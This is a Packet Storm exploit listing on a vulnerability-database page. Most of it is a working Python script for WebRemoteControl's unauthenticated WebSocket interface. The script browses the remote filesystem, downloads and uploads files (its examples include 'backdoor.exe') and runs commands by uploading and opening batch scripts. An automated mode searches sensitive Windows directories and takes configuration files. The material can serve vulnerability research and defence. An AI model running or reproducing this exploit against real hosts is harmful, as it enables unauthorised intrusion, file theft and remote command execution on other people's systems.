Lucene search
K

📄 WebRemoteControl Unauthenticated Remote Filesystem Access

🗓️ 02 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 12 Views

Tool to assess unauthenticated remote filesystem access via WebRemoteControl WebSocket interface.

Code
==================================================================================================================================
    | # Title     : WebRemoteControl – Unauthenticated Remote Filesystem Access & Management Interface Assessment Tool               |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/wolfgangasdf/WebRemoteControl                                                                 |
    ==================================================================================================================================
    
    [+] Summary    : a security research and assessment tool targeting WebRemoteControl deployments that expose a WebSocket-based remote control interface without authentication. 
                     The tool evaluates whether remote users can interact with the application's file management functionality and access system resources through the exposed service.
    				 
    [+] POC        : python 1.py -t 192.168.1.100 --download config.ini
                                 -t 192.168.1.100 --auto
    							 -t 192.168.1.100 --command "whoami"
    							 -t 192.168.1.100 --upload backdoor.exe backdoor.exe
    							 -t 192.168.1.100 --list-path "/Windows/System32"
    
    #!/usr/bin/env python3
    
    import websocket
    import time
    import json
    import os
    import sys
    import argparse
    import base64
    import threading
    from datetime import datetime
    
    class WebRemoteControlExploit:
        def __init__(self, target_host, target_port=8000, ssl=False):
            """
            Initialize WebRemoteControl exploit
            """
            self.target_host = target_host
            self.target_port = target_port
            self.ssl = ssl
            self.ws_url = f"{'wss' if ssl else 'ws'}://{target_host}:{target_port}/docs/cmd"
            self.ws = None
            self.current_path = "/"
            self.file_cache = {}
            
        def connect(self):
            """Establish WebSocket connection"""
            try:
                print(f"[*] Connecting to {self.ws_url}")
                self.ws = websocket.create_connection(self.ws_url, timeout=10)
                welcome = self.ws.recv()
                print(f"[+] Connected successfully")
                if welcome:
                    print(f"[*] Server response: {welcome[:100]}...")
                return True
            except Exception as e:
                print(f"[-] Failed to connect: {e}")
                return False
        
        def disconnect(self):
            """Close WebSocket connection"""
            if self.ws:
                self.ws.close()
                print("[*] Connection closed")
        
        def send_command(self, command, wait_time=0.5):
            """Send command and receive response"""
            try:
                self.ws.send(command)
                time.sleep(wait_time)
                response = self.ws.recv()
                return response
            except Exception as e:
                print(f"[-] Command failed: {e}")
                return None
        
        def list_files(self, path=None):
            """List files in current or specified directory"""
            if path:
                original_path = self.current_path
                self.navigate_to_path(path)
            
            response = self.send_command("fbgetfiles", 0.5)
            
            if response and response.startswith("fblist"):
                parts = response.split("\t")
                self.current_path = parts[1]
                files = parts[2:]
                
                print(f"\n{'='*60}")
                print(f"[PATH] {self.current_path}")
                print(f"{'='*60}")
                
                for i, item in enumerate(files):
                    is_dir = item.endswith('/') or item.endswith('\\')
                    icon = "" if is_dir else ""
                    print(f"  [{i:2d}] {icon} {item}")
                
                print(f"{'='*60}")
                print(f"Total: {len(files)} items\n")
                self.file_cache[self.current_path] = files
                return files
            
            elif response:
                print(f"[!] Unexpected response: {response}")
                return None
            else:
                print("[!] Failed to list files")
                return None
        
        def open_item(self, index):
            """Open folder or execute file by index"""
            try:
                idx = int(index)
                response = self.send_command(f"fbopen\t{idx}", 0.5)
                
                if response and response.startswith("fblist"):
                    parts = response.split("\t")
                    self.current_path = parts[1]
                    files = parts[2:]
                    print(f"[+] Opened folder: {self.current_path}")
                    print(f"\n{'='*60}")
                    print(f"[PATH] {self.current_path}")
                    print(f"{'='*60}")
                    for i, item in enumerate(files):
                        icon = "" if (item.endswith('/') or item.endswith('\\')) else ""
                        print(f"  [{i:2d}] {icon} {item}")
                    print(f"{'='*60}\n")
                    
                    self.file_cache[self.current_path] = files
                    return True
                    
                elif response:
                    print(f"[+] File executed on remote host")
                    print(f"[*] Response: {response[:200]}")
                    return True
                else:
                    print("[!] Failed to open item")
                    return False
                    
            except ValueError:
                print("[-] Invalid index. Use numbers only")
                return False
            except Exception as e:
                print(f"[-] Error opening item: {e}")
                return False
        
        def go_up(self):
            """Navigate to parent directory"""
            response = self.send_command("fbup", 0.5)
            
            if response and response.startswith("fblist"):
                parts = response.split("\t")
                self.current_path = parts[1]
                files = parts[2:]
                print(f"[+] Moved to parent: {self.current_path}")
                print(f"\n{'='*60}")
                print(f"[PATH] {self.current_path}")
                print(f"{'='*60}")
                for i, item in enumerate(files):
                    icon = "" if (item.endswith('/') or item.endswith('\\')) else ""
                    print(f"  [{i:2d}] {icon} {item}")
                print(f"{'='*60}\n")
                
                self.file_cache[self.current_path] = files
                return True
            else:
                print("[!] Already at root or cannot go up")
                return False
        
        def navigate_to_path(self, target_path):
            """Navigate to a specific path"""
            print(f"[*] Navigating to: {target_path}")
            target_path = target_path.replace('\\', '/')
            current_parts = self.current_path.replace('\\', '/').split('/')
            target_parts = target_path.split('/')
            common = 0
            for i in range(min(len(current_parts), len(target_parts))):
                if current_parts[i] == target_parts[i]:
                    common += 1
                else:
                    break
            for _ in range(len(current_parts) - common - 1):
                if not self.go_up():
                    return False
            for part in target_parts[common:]:
                if part and part != '':
                    files = self.list_files()
                    if not files:
                        return False
                    
                    found = False
                    for i, item in enumerate(files):
                        if item.strip('/\\') == part:
                            if self.open_item(i):
                                found = True
                                break
                    
                    if not found:
                        print(f"[-] Cannot find directory: {part}")
                        return False
            
            print(f"[+] Successfully navigated to: {self.current_path}")
            return True
        
        def download_file(self, filename):
            """Download file from remote system"""
            print(f"[*] Attempting to download: {filename}")
            files = self.list_files()
            if not files:
                return False
            file_index = None
            for i, item in enumerate(files):
                if item == filename or item.endswith(filename):
                    file_index = i
                    break
            
            if file_index is None:
                print(f"[-] File not found: {filename}")
                return False
            print(f"[*] Opening file (index {file_index})...")
            response = self.send_command(f"fbopen\t{file_index}", 1)
            
            if response:
                output_file = f"downloaded_{filename}"
                with open(output_file, 'wb') as f:
                    f.write(response.encode('utf-8'))
                print(f"[+] File saved as: {output_file}")
                return True
            
            return False
        
        def upload_file(self, local_path, remote_name=None):
            """Upload file to remote system"""
            print(f"[*] Uploading file: {local_path}")
            
            if not os.path.exists(local_path):
                print(f"[-] Local file not found: {local_path}")
                return False
            with open(local_path, 'rb') as f:
                content = f.read()
            encoded = base64.b64encode(content).decode('ascii')
            remote_name = remote_name or os.path.basename(local_path)
            command = f"fbupload\t{remote_name}\t{encoded}"
            response = self.send_command(command, 2)
            
            if response and "success" in response.lower():
                print(f"[+] File uploaded successfully: {remote_name}")
                return True
            else:
                print(f"[-] Upload failed: {response}")
                return False
        
        def execute_command(self, command):
            """Execute system command via file execution"""
            print(f"[*] Executing command: {command}")
            if sys.platform == "win32":
                script_name = f"temp_{int(time.time())}.bat"
                script_content = f"@echo off\n{command}\necho [COMPLETE]\npause"
            else:
                script_name = f"temp_{int(time.time())}.sh"
                script_content = f"#!/bin/bash\n{command}\necho '[COMPLETE]'"
           
            with open(script_name, 'w') as f:
                f.write(script_content)
            
            if self.upload_file(script_name):
                time.sleep(1)
                self.list_files()
                files = self.list_files()
                for i, item in enumerate(files):
                    if item == script_name:
                        print(f"[*] Executing uploaded script...")
                        self.open_item(i)
                        break
            if os.path.exists(script_name):
                os.remove(script_name)
            
            return True
        
        def recursive_list(self, path="", max_depth=3, current_depth=0):
            """Recursively list directory contents"""
            if current_depth >= max_depth:
                return
            
            if path:
                self.navigate_to_path(path)
            else:
                self.list_files()
            
            files = self.file_cache.get(self.current_path, [])
            
            for i, item in enumerate(files):
                indent = "  " * current_depth
                if item.endswith('/') or item.endswith('\\'):
                    print(f"{indent} {item}")
                    self.open_item(i)
                    self.recursive_list("", max_depth, current_depth + 1)
                    self.go_up()
                else:
                    print(f"{indent} {item}")
        
        def interactive_shell(self):
            """Interactive file browser shell"""
            print("""
    ╔═══════════════════════════════════════════════════════════════╗
    ║        WebRemoteControl - File Browser Exploit                ║
    ║       Unauthenticated Remote Filesystem Access                ║
    ║                   by indoushka                                ║
    ╚═══════════════════════════════════════════════════════════════╝
    
    Commands:
      list / ls              - Show current directory contents
      open <index>           - Open folder or execute file
      up / cd..              - Go to parent directory
      cd <path>              - Change to specific directory
      download <filename>    - Download file
      upload <local_file>    - Upload file
      exec <command>         - Execute system command
      tree [depth]           - Recursive directory listing
      pwd                    - Show current path
      search <pattern>       - Search for files
      exit / quit            - Exit exploit
    
    Examples:
      > list
      > open 5
      > cd Windows/System32
      > download config.ini
      > upload backup.zip
      > exec whoami
      > tree 2
    """)
            
            while True:
                try:
                    cmd = input(f"\n[{self.current_path}]> ").strip().lower()
                    
                    if not cmd:
                        continue
                    
                    if cmd in ['list', 'ls']:
                        self.list_files()
                    
                    elif cmd.startswith('open'):
                        parts = cmd.split()
                        if len(parts) == 2:
                            self.open_item(parts[1])
                        else:
                            print("Usage: open <index>")
                    
                    elif cmd in ['up', 'cd..']:
                        self.go_up()
                    
                    elif cmd.startswith('cd '):
                        target_path = cmd[3:].strip()
                        if target_path == '..':
                            self.go_up()
                        else:
                            self.navigate_to_path(target_path)
                    
                    elif cmd.startswith('download '):
                        filename = cmd[9:].strip()
                        self.download_file(filename)
                    
                    elif cmd.startswith('upload '):
                        local_file = cmd[7:].strip()
                        self.upload_file(local_file)
                    
                    elif cmd.startswith('exec '):
                        command = cmd[5:].strip()
                        self.execute_command(command)
                    
                    elif cmd.startswith('tree'):
                        depth = 3
                        if len(cmd.split()) > 1:
                            try:
                                depth = int(cmd.split()[1])
                            except:
                                pass
                        print("\n[*] Recursive directory listing:")
                        print("="*60)
                        self.recursive_list("", depth)
                    
                    elif cmd == 'pwd':
                        print(f"Current path: {self.current_path}")
                    
                    elif cmd.startswith('search '):
                        pattern = cmd[7:].strip()
                        self.search_files(pattern)
                    
                    elif cmd in ['exit', 'quit']:
                        print("[*] Exiting...")
                        break
                    
                    else:
                        print("Unknown command. Type 'help' for available commands")
                        
                except KeyboardInterrupt:
                    print("\n[*] Interrupted")
                    break
                except Exception as e:
                    print(f"[-] Error: {e}")
        
        def search_files(self, pattern):
            """Search for files matching pattern"""
            print(f"[*] Searching for: {pattern}")
            found = []
            
            def search_recursive(depth=0, max_depth=3):
                if depth >= max_depth:
                    return
                
                files = self.list_files()
                if not files:
                    return
                
                for i, item in enumerate(files):
                    if pattern.lower() in item.lower():
                        found.append({
                            'path': self.current_path,
                            'name': item,
                            'index': i
                        })
                    
                    if item.endswith('/') or item.endswith('\\'):
                        self.open_item(i)
                        search_recursive(depth + 1, max_depth)
                        self.go_up()
            original_path = self.current_path
            search_recursive()
            
            if found:
                print(f"\n[+] Found {len(found)} matches:")
                for match in found:
                    print(f" {match['path']}{match['name']} (index {match['index']})")
            else:
                print("[-] No matches found")
            self.navigate_to_path(original_path)
    
    def auto_exploit(target_host, target_port=8000):
        """Automated exploit sequence"""
        exploit = WebRemoteControlExploit(target_host, target_port)
        
        if not exploit.connect():
            return False
        
        print("\n[*] Starting automated exploitation...")
        print("="*60)
        exploit.list_files()
        sensitive_paths = [
            "/Windows/System32/config",
            "/Users",
            "/Program Files",
            "/Windows/System32/drivers/etc",
            "/inetpub/wwwroot",
            "/xampp/htdocs"
        ]
        
        for path in sensitive_paths:
            print(f"\n[*] Checking: {path}")
            if exploit.navigate_to_path(path):
                exploit.list_files()
                sensitive_files = ['hosts', 'config', '.ini', '.conf', 'web.config']
                files = exploit.file_cache.get(exploit.current_path, [])
                for file in files:
                    for sensitive in sensitive_files:
                        if sensitive in file.lower():
                            print(f"[!] Found sensitive file: {file}")
                            exploit.download_file(file)
        
        print("\n[+] Automated exploitation completed")
        return True
    
    def main():
        parser = argparse.ArgumentParser(description='WebRemoteControl - Unauthenticated Remote Filesystem Access Exploit')
        parser.add_argument('-t', '--target', required=True, help='Target IP address')
        parser.add_argument('-p', '--port', type=int, default=8000, help='Target port (default: 8000)')
        parser.add_argument('--ssl', action='store_true', help='Use WSS instead of WS')
        parser.add_argument('--auto', action='store_true', help='Run automated exploitation')
        parser.add_argument('--command', help='Execute single command and exit')
        parser.add_argument('--download', help='Download file from remote system')
        parser.add_argument('--upload', nargs=2, metavar=('LOCAL', 'REMOTE'), help='Upload file (local remote)')
        parser.add_argument('--list-path', help='List specific path')
        
        args = parser.parse_args()
        
        exploit = WebRemoteControlExploit(args.target, args.port, args.ssl)
        
        if not exploit.connect():
            sys.exit(1)
        if args.command:
            exploit.execute_command(args.command)
            exploit.disconnect()
            sys.exit(0)
        if args.download:
            exploit.download_file(args.download)
            exploit.disconnect()
            sys.exit(0)
        if args.upload:
            local_file, remote_name = args.upload
            exploit.upload_file(local_file, remote_name)
            exploit.disconnect()
            sys.exit(0)
        if args.list_path:
            exploit.navigate_to_path(args.list_path)
            exploit.list_files()
            exploit.disconnect()
            sys.exit(0)
        if args.auto:
            auto_exploit(args.target, args.port)
            exploit.disconnect()
            sys.exit(0)
        try:
            exploit.interactive_shell()
        except KeyboardInterrupt:
            print("\n[*] Interrupted by user")
        finally:
            exploit.disconnect()
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation